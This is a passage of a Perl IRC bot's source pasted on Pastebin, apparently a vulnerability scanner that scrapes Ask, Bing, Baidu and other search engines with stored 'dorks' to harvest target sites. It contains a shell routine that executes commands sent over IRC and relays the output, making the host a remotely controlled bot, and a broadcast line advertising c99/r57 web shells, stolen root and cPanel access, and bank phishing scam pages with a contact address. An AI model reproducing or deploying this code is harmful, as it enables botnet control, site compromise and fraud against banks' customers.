  6246.         while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
  6247.             my $link = $1;
  6248.             if ($link !~ /askAU\.com/){
  6249.                 my @grep = links($link);
  6250.                 push(@list,@grep);
  6251.             }
  6252.         }
  6253.     }
  6254.     return @list;
  6255. }
  6256.  
  6257. sub askBR() {
  6258.     my @list;
  6259.     my $key = $_[0];
  6260.     for (my $i=1; $i<=500; $i+=30) {
  6261.         my $search = ("http://br.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
  6262.         my $res = &search_engine_query($search);
  6263.         while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
  6264.             my $link = $1;
  6265.             if ($link !~ /askBR\.com/){
  6266.                 my @grep = links($link);
  6267.                 push(@list,@grep);
  6268.             }
  6269.         }
  6270.     }
  6271.     return @list;
  6272. }
  6273.  
  6274. sub askMX() {
  6275.     my @list;
  6276.     my $key = $_[0];
  6277.     for (my $i=1; $i<=500; $i+=30) {
  6278.         my $search = ("http://mx.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
  6279.         my $res = &search_engine_query($search);
  6280.         while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
  6281.             my $link = $1;
  6282.             if ($link !~ /askMX\.com/){
  6283.                 my @grep = links($link);
  6284.                 push(@list,@grep);
  6285.             }
  6286.         }
  6287.     }
  6288.     return @list;
  6289. }
  6290. sleep(4);
  6291. sub askJP() {
  6292.     my @list;
  6293.     my $key = $_[0];
  6294.     for (my $i=1; $i<=500; $i+=30) {
  6295.         my $search = ("http://jp.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
  6296.         my $res = &search_engine_query($search);
  6297.         while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
  6298.             my $link = $1;
  6299.             if ($link !~ /askJP\.com/){
  6300.                 my @grep = links($link);
  6301.                 push(@list,@grep);
  6302.             }
  6303.         }
  6304.     }
  6305.     return @list;
  6306. }
  6307.  
  6308. sub onet() {
  6309.     my @list;
  6310.     my $key = $_[0];
  6311.     my $b   = 0;
  6312.     for ($b=1; $b<=500; $b+=50) {
  6313.         my $search = ("http://szukaj.onet.pl/".$b.",query.html?qt=".uri_escape($key));
  6314.         my $res = &search_engine_query($search);
  6315.         while ($res =~ m/<a href=\"http:\/\/(.*?)\">/g) {
  6316.             my $link = $1;
  6317.             if ($link !~ /onet|webcache|query/){
  6318.                 my @grep = &links($link);
  6319.                 push(@list,@grep);
  6320.             }
  6321.         }
  6322.     }
  6323.     return @list;
  6324. }
  6325.  
  6326. sub clusty() {
  6327.     my @list;
  6328.     my $key = $_[0];
  6329.     my $b   = 0;
  6330.     for ($b=10; $b<=500; $b+=50) {
  6331.         my $search = ("http://search.yippy.com/search?input-form=clusty-simple&v%3Asources=webplus-ns-aaf&v%3Aproject=clusty&query=".uri_escape($key)."&v:state=root|root-".$b."-20|0&");
  6332.         my $res = &search_engine_query($search);
  6333.         if ($res !~ /next/) {$b=100;}
  6334.         while ($res =~ m/<a href=\"http:\/\/(.*?)\"/g) {
  6335.             my $link = $1;
  6336.             if ($1 !~ /yippy\.com/){
  6337.                 my @grep = &links($link);
  6338.                 push(@list,@grep);
  6339.             }
  6340.         }
  6341.     }
  6342.     return @list;
  6343. }
  6344.  
  6345. sub bing() {
  6346.     my @list;
  6347.     my $key = $_[0];
  6348.     for (my $i=1; $i<=500; $i+=50) {
  6349.         my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&first=".$i);
  6350.         my $res = &search_engine_query($search);
  6351.         while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
  6352.             my $link = $1;
  6353.             if ($link !~ /google/) {
  6354.                 my @grep = &links($link);
  6355.                 push(@list,@grep);
  6356.             }
  6357.         }
  6358.     }
  6359.     return @list;
  6360. }
  6361.  
  6362. sub bingDE() {
  6363.     my @list;
  6364.     my $key = $_[0];
  6365.     for (my $i=1; $i<=500; $i+=50) {
  6366.         my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=de&rf=1&first=".$i."&FORM=PORE");
  6367.         my $res = &search_engine_query($search);
  6368.         while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
  6369.             my $link = $1;
  6370.             if ($link !~ /msn|live|bingDE/) {
  6371.                 my @grep = links($link);
  6372.                 push(@list,@grep);
  6373.             }
  6374.         }
  6375.     }
  6376.     return @list;
  6377. }
  6378. sleep(4);
  6379. sub bingUK() {
  6380.     my @list;
  6381.     my $key = $_[0];
  6382.     for (my $i=1; $i<=500; $i+=50) {
  6383.         my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=uk&rf=1&first=".$i."&FORM=PORE");
  6384.         my $res = &search_engine_query($search);
  6385.         while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
  6386.             my $link = $1;
  6387.             if ($link !~ /msn|live|bingUK/) {
  6388.                 my @grep = links($link);
  6389.                 push(@list,@grep);
  6390.             }
  6391.         }
  6392.     }
  6393.     return @list;
  6394. }
  6395.  
  6396. sub bingCA() {
  6397.     my @list;
  6398.     my $key = $_[0];
  6399.     for (my $i=1; $i<=500; $i+=50) {
  6400.         my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=ca&rf=1&first=".$i."&FORM=PORE");
  6401.         my $res = &search_engine_query($search);
  6402.         while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
  6403.             my $link = $1;
  6404.             if ($link !~ /msn|live|bingCA/) {
  6405.                 my @grep = links($link);
  6406.                 push(@list,@grep);
  6407.             }
  6408.         }
  6409.     }
  6410.     &msg("$channel","3,115[4Notices15]8 Need4 :9 /.Shell c99 & r57.\./.cPanel.\./.SMTP.\./.Root.\./.VPN Premium 1 Years.\./.FTP.\./.Private Scanner.\./.SCAMPAGE ( BOA , GOOGLGEDOCS , WELLSFARGO ECT.\.13  Contact Us4 : 4 *9 icq 4:8 704359286 4 *9 Site4 :8 http://mytoolsbox.com");
  6411.     return @list;
  6412. }
  6413.  
  6414. sub bingBR() {
  6415.     my @list;
  6416.     my $key = $_[0];
  6417.     for (my $i=1; $i<=500; $i+=50) {
  6418.         my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=br&rf=1&first=".$i."&FORM=PORE");
  6419.         my $res = &search_engine_query($search);
  6420.         while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
  6421.             my $link = $1;
  6422.             if ($link !~ /msn|live|bingBR/) {
  6423.                 my @grep = links($link);
  6424.                 push(@list,@grep);
  6425.             }
  6426.         }
  6427.     }
  6428.     return @list;
  6429. }
  6430.  
  6431. sub bingFR() {
  6432.     my @list;
  6433.     my $key = $_[0];
  6434.     for (my $i=1; $i<=500; $i+=50) {
  6435.         my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=fr&rf=1&first=".$i."&FORM=PORE");
  6436.         my $res = &search_engine_query($search);
  6437.         while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
  6438.             my $link = $1;
  6439.             if ($link !~ /msn|live|bingFR/) {
  6440.                 my @grep = links($link);
  6441.                 push(@list,@grep);
  6442.             }
  6443.         }
  6444.     }
  6445.     return @list;
  6446. }
  6447.  
  6448. sub bingES() {
  6449.     my @list;
  6450.     my $key = $_[0];
  6451.     for (my $i=1; $i<=500; $i+=50) {
  6452.         my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=es&rf=1&first=".$i."&FORM=PORE");
  6453.         my $res = &search_engine_query($search);
  6454.         while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
  6455.             my $link = $1;
  6456.             if ($link !~ /msn|live|bingES/) {
  6457.                 my @grep = links($link);
  6458.                 push(@list,@grep);
  6459.             }
  6460.         }
  6461.     }
  6462.     return @list;
  6463. }
  6464.  
  6465. sub bingIT() {
  6466.     my @list;
  6467.     my $key = $_[0];
  6468.     for (my $i=1; $i<=500; $i+=50) {
  6469.         my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=it&rf=1&first=".$i."&FORM=PORE");
  6470.         my $res = &search_engine_query($search);
  6471.         while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
  6472.             my $link = $1;
  6473.             if ($link !~ /msn|live|bingIT/) {
  6474.                 my @grep = links($link);
  6475.                 push(@list,@grep);
  6476.             }
  6477.         }
  6478.     }
  6479.     return @list;
  6480. }
  6481. sleep(4);
  6482. sub bingBE() {
  6483.     my @list;
  6484.     my $key = $_[0];
  6485.     for (my $i=1; $i<=500; $i+=50) {
  6486.         my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=be&rf=1&first=".$i."&FORM=PORE");
  6487.         my $res = &search_engine_query($search);
  6488.         while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
  6489.             my $link = $1;
  6490.             if ($link !~ /msn|live|bingBE/) {
  6491.                 my @grep = links($link);
  6492.                 push(@list,@grep);
  6493.             }
  6494.         }
  6495.     }
  6496.     return @list;
  6497. }
  6498.  
  6499. sub bingNL() {
  6500.     my @list;
  6501.     my $key = $_[0];
  6502.     for (my $i=1; $i<=500; $i+=50) {
  6503.         my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=nl&rf=1&first=".$i."&FORM=PORE");
  6504.         my $res = &search_engine_query($search);
  6505.         while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
  6506.             my $link = $1;
  6507.             if ($link !~ /msn|live|bingNL/) {
  6508.                 my @grep = links($link);
  6509.                 push(@list,@grep);
  6510.             }
  6511.         }
  6512.     }
  6513.     return @list;
  6514. }
  6515.  
  6516. sub bingPT() {
  6517.     my @list;
  6518.     my $key = $_[0];
  6519.     for (my $i=1; $i<=500; $i+=50) {
  6520.         my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=pt&rf=1&first=".$i."&FORM=PORE");
  6521.         my $res = &search_engine_query($search);
  6522.         while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
  6523.             my $link = $1;
  6524.             if ($link !~ /msn|live|bingPT/) {
  6525.                 my @grep = links($link);
  6526.                 push(@list,@grep);
  6527.             }
  6528.         }
  6529.     }
  6530.     return @list;
  6531. }
  6532.  
  6533. sub bingNO() {
  6534.     my @list;
  6535.     my $key = $_[0];
  6536.     for (my $i=1; $i<=500; $i+=50) {
  6537.         my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=no&rf=1&first=".$i."&FORM=PORE");
  6538.         my $res = &search_engine_query($search);
  6539.         while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
  6540.             my $link = $1;
  6541.             if ($link !~ /msn|live|bingNO/) {
  6542.                 my @grep = links($link);
  6543.                 push(@list,@grep);
  6544.             }
  6545.         }
  6546.     }
  6547.     return @list;
  6548. }
  6549.  
  6550. sub bingDK() {
  6551.     my @list;
  6552.     my $key = $_[0];
  6553.     for (my $i=1; $i<=500; $i+=50) {
  6554.         my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=dk&rf=1&first=".$i."&FORM=PORE");
  6555.         my $res = &search_engine_query($search);
  6556.         while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
  6557.             my $link = $1;
  6558.             if ($link !~ /msn|live|bingDK/) {
  6559.                 my @grep = links($link);
  6560.                 push(@list,@grep);
  6561.             }
  6562.         }
  6563.     }
  6564.     return @list;
  6565. }
  6566.  
  6567. sub bingSE() {
  6568.     my @list;
  6569.     my $key = $_[0];
  6570.     for (my $i=1; $i<=500; $i+=50) {
  6571.         my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=se&rf=1&first=".$i."&FORM=PORE");
  6572.         my $res = &search_engine_query($search);
  6573.         while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
  6574.             my $link = $1;
  6575.             if ($link !~ /msn|live|bingSE/) {
  6576.                 my @grep = links($link);
  6577.                 push(@list,@grep);
  6578.             }
  6579.         }
  6580.     }
  6581.     return @list;
  6582. }
  6583. sleep(4);
  6584. sub bingCH() {
  6585.     my @list;
  6586.     my $key = $_[0];
  6587.     for (my $i=1; $i<=500; $i+=50) {
  6588.         my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=ch&rf=1&first=".$i."&FORM=PORE");
  6589.         my $res = &search_engine_query($search);
  6590.         while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
  6591.             my $link = $1;
  6592.             if ($link !~ /msn|live|bingCH/) {
  6593.                 my @grep = links($link);
  6594.                 push(@list,@grep);
  6595.             }
  6596.         }
  6597.     }
  6598.     return @list;
  6599. }
  6600.  
  6601. sub bingNZ() {
  6602.     my @list;
  6603.     my $key = $_[0];
  6604.     for (my $i=1; $i<=500; $i+=50) {
  6605.         my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=nz&rf=1&first=".$i."&FORM=PORE");
  6606.         my $res = &search_engine_query($search);
  6607.         while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
  6608.             my $link = $1;
  6609.             if ($link !~ /msn|live|bingNZ/) {
  6610.                 my @grep = links($link);
  6611.                 push(@list,@grep);
  6612.             }
  6613.         }
  6614.     }
  6615.     return @list;
  6616. }
  6617.  
  6618. sub bingRU() {
  6619.     my @list;
  6620.     my $key = $_[0];
  6621.     for (my $i=1; $i<=500; $i+=50) {
  6622.         my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=ru&rf=1&first=".$i."&FORM=PORE");
  6623.         my $res = &search_engine_query($search);
  6624.         while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
  6625.             my $link = $1;
  6626.             if ($link !~ /msn|live|bingRU/) {
  6627.                 my @grep = links($link);
  6628.                 push(@list,@grep);
  6629.             }
  6630.         }
  6631.     }
  6632.     return @list;
  6633. }
  6634.  
  6635. sub bingJP() {
  6636.     my @list;
  6637.     my $key = $_[0];
  6638.     for (my $i=1; $i<=500; $i+=50) {
  6639.         my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=jp&rf=1&first=".$i."&FORM=PORE");
  6640.         my $res = &search_engine_query($search);
  6641.         while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
  6642.             my $link = $1;
  6643.             if ($link !~ /msn|live|bingJP/) {
  6644.                 my @grep = links($link);
  6645.                 push(@list,@grep);
  6646.             }
  6647.         }
  6648.     }
  6649.     return @list;
  6650. }
  6651.  
  6652. sub bingCN() {
  6653.     my @list;
  6654.     my $key = $_[0];
  6655.     for (my $i=1; $i<=500; $i+=50) {
  6656.         my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=cn&rf=1&first=".$i."&FORM=PORE");
  6657.         my $res = &search_engine_query($search);
  6658.         while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
  6659.             my $link = $1;
  6660.             if ($link !~ /msn|live|bingCN/) {
  6661.                 my @grep = links($link);
  6662.                 push(@list,@grep);
  6663.             }
  6664.         }
  6665.     }
  6666.     return @list;
  6667. }
  6668.  
  6669. sub bingKR() {
  6670.     my @list;
  6671.     my $key = $_[0];
  6672.     for (my $i=1; $i<=500; $i+=50) {
  6673.         my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=kr&rf=1&first=".$i."&FORM=PORE");
  6674.         my $res = &search_engine_query($search);
  6675.         while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
  6676.             my $link = $1;
  6677.             if ($link !~ /msn|live|bingKR/) {
  6678.                 my @grep = links($link);
  6679.                 push(@list,@grep);
  6680.             }
  6681.         }
  6682.     }
  6683.     return @list;
  6684. }
  6685. sleep(4);
  6686. sub bingMX() {
  6687.     my @list;
  6688.     my $key = $_[0];
  6689.     for (my $i=1; $i<=500; $i+=50) {
  6690.         my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=mx&rf=1&first=".$i."&FORM=PORE");
  6691.         my $res = &search_engine_query($search);
  6692.         while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
  6693.             my $link = $1;
  6694.             if ($link !~ /msn|live|bingMX/) {
  6695.                 my @grep = links($link);
  6696.                 push(@list,@grep);
  6697.             }
  6698.         }
  6699.     }
  6700.     return @list;
  6701. }
  6702.  
  6703. sub bingAR() {
  6704.     my @list;
  6705.     my $key = $_[0];
  6706.     for (my $i=1; $i<=500; $i+=50) {
  6707.         my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=ar&rf=1&first=".$i."&FORM=PORE");
  6708.         my $res = &search_engine_query($search);
  6709.         while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
  6710.             my $link = $1;
  6711.             if ($link !~ /msn|live|bingAR/) {
  6712.                 my @grep = links($link);
  6713.                 push(@list,@grep);
  6714.             }
  6715.         }
  6716.     }
  6717.     return @list;
  6718. }
  6719.  
  6720. sub bingCL() {
  6721.     my @list;
  6722.     my $key = $_[0];
  6723.     for (my $i=1; $i<=500; $i+=50) {
  6724.         my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=cl&rf=1&first=".$i."&FORM=PORE");
  6725.         my $res = &search_engine_query($search);
  6726.         while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
  6727.             my $link = $1;
  6728.             if ($link !~ /msn|live|bingCL/) {
  6729.                 my @grep = links($link);
  6730.                 push(@list,@grep);
  6731.             }
  6732.         }
  6733.     }
  6734.     return @list;
  6735. }
  6736. sub baidu() {
  6737.     my @list;
  6738.     my $key = $_[0];
  6739.         my $b   = 0;
  6740.     for ($b=0; $b<=500; $b+=10) {
  6741.         my $search = ("http://www.baidu.com/s?wd=".&key($key)."&pn=".$b);
  6742.         my $res = &search_engine_query($search);
  6743.         while ($res =~ m/\" href=\"http:\/\/(.*?)\"  target=/g) {
  6744.             if ($1 !~ /baidu\.com/){
  6745.             my $link = $1;
  6746.                 my @grep = &links($link);
  6747.                 push(@list,@grep);
  6748.             }
  6749.         }
  6750.     }
  6751.     return @list;
  6752. }
  6753. sub bingAU() {
  6754.     my @list;
  6755.     my $key = $_[0];
  6756.     for (my $i=1; $i<=600; $i+=50) {
  6757.         my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=au&rf=1&first=".$i."&FORM=PORE");
  6758.         my $res = &search_engine_query($search);
  6759.         while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
  6760.             my $link = $1;
  6761.             if ($link !~ /msn|live|bingAU/) {
  6762.                 my @grep = links($link);
  6763.                 push(@list,@grep);
  6764.             }
  6765.         }
  6766.     }
  6767.     return @list;
  6768. }
  6769. #########################################
  6770.  
  6771. sub clean() {
  6772.     my @cln = ();
  6773.     my %visit = ();
  6774.     foreach my $element (@_) {
  6775.         $element =~ s/\/+/\//g;
  6776.         next if $visit{$element}++;
  6777.         push @cln, $element;
  6778.     }
  6779.     return @cln;
  6780. }
  6781.  
  6782. sub links() {
  6783.     my @list;
  6784.     my $host = $_[0];
  6785.     my $hdir = $_[0];
  6786.     $hdir =~ s/(.*)\/[^\/]*$/\1/;
  6787.     $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
  6788.     $host .= "/";
  6789.     $hdir .= "/";
  6790.     $host =~ s/\/\//\//g;
  6791.     $hdir =~ s/\/\//\//g;
  6792.     push(@list,$host,$hdir);
  6793.     return @list;
  6794. }
  6795.  
  6796. sub search_engine_query() {
  6797.     my $url = $_[0];
  6798.     $url =~ s/http:\/\///;
  6799.     my $host = $url;
  6800.     my $query = $url;
  6801.     my $page  = "";
  6802.     $host =~ s/href=\"?http:\/\///;
  6803.     $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
  6804.     $query =~ s/$host//;
  6805.     if ($query eq "") { $query = "/"; }
  6806.         eval {
  6807.             my $sock = IO::Socket::INET->new(PeerAddr=>"$host", PeerPort=>"80", Proto=>"tcp") or return;
  6808.             my $sget = "GET $query HTTP/1.0\r\n";
  6809.             $sget .= "Host: $host\r\n";
  6810.             $sget .= "Accept: */*\r\n";
  6811.             $sget .= "User-Agent: $uagent\r\n";
  6812.             $sget .= "Connetion: Close\r\n\r\n";
  6813.             print $sock $sget;
  6814.             my @pages = <$sock>;
  6815.             $page = "@pages";
  6816.             close($sock);
  6817.         };
  6818.     return $page;
  6819. }
  6820.  
  6821. #########################################
  6822.  
  6823. sub shell() {
  6824.     my $path = $_[0];
  6825.     my $cmd = $_[1];
  6826.     if ($cmd =~ /cd (.*)/) {
  6827.         chdir("$1") || &msg("$path","No such file or directory");
  6828.         return;
  6829.     }
  6830.     elsif ($pid = fork) { waitpid($pid, 0); }
  6831.     else { if (fork) { exit; } else {
  6832.         my @output = `$cmd 2>&1 3>&1`;
  6833.         my $c = 0;
  6834.         foreach my $output (@output) {
  6835.             $c++;
  6836.             chop $output;
  6837.             &msg("$path","$output");
  6838.             if ($c == 5) { $c = 0; sleep 3; }
  6839.         }
  6840.         exit;
  6841.     }}
  6842. }
  6843.  
  6844. sub isAdmin() {
  6845.     my $status = 0;
  6846.     my $nick = $_[0];
  6847.     if ($nick eq $admin) { $status = 1; }
  6848.     return $status;
  6849. }
  6850.  
  6851. sub msg() {
  6852.     return unless $#_ == 1;
  6853.     sendraw($IRC_cur_socket, "PRIVMSG $_[0] :$_[1]");
  6854. }
  6855.  
  6856. sub nick() {
  6857.     return unless $#_ == 0;
  6858.     sendraw("NICK $_[0]");
  6859. }
  6860.  
  6861. sub read_dorks() {
  6862.     my $dork = uri_escape($_[0]);
  6863.     my $file = "dorks.txt";
  6864.     my $success = 0;
  6865.     open (file,"<$file");
  6866.     while (my $dorkx=<file>) {
  6867.         chop($dorkx);
  6868.         if ($dorkx =~ /$dork/){
  6869.         $success = 1;
  6870.         }
  6871.     }
  6872.     close file;
  6873.     return $success;
  6874. }
  6875.  
  6876. sub write_dorks() {
  6877.     my $dorks = uri_escape($_[0]);
  6878.     my $file = "dorks.txt";
  6879.     open (filex,">>$file");
  6880.     print filex $dorks."\n";
  6881.     close filex;
  6882. }
  6883.  
  6884. sub notice() {
  6885.     return unless $#_ == 1;
  6886.     sendraw("NOTICE $_[0] :$_[1]");
  6887. }}}}}
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!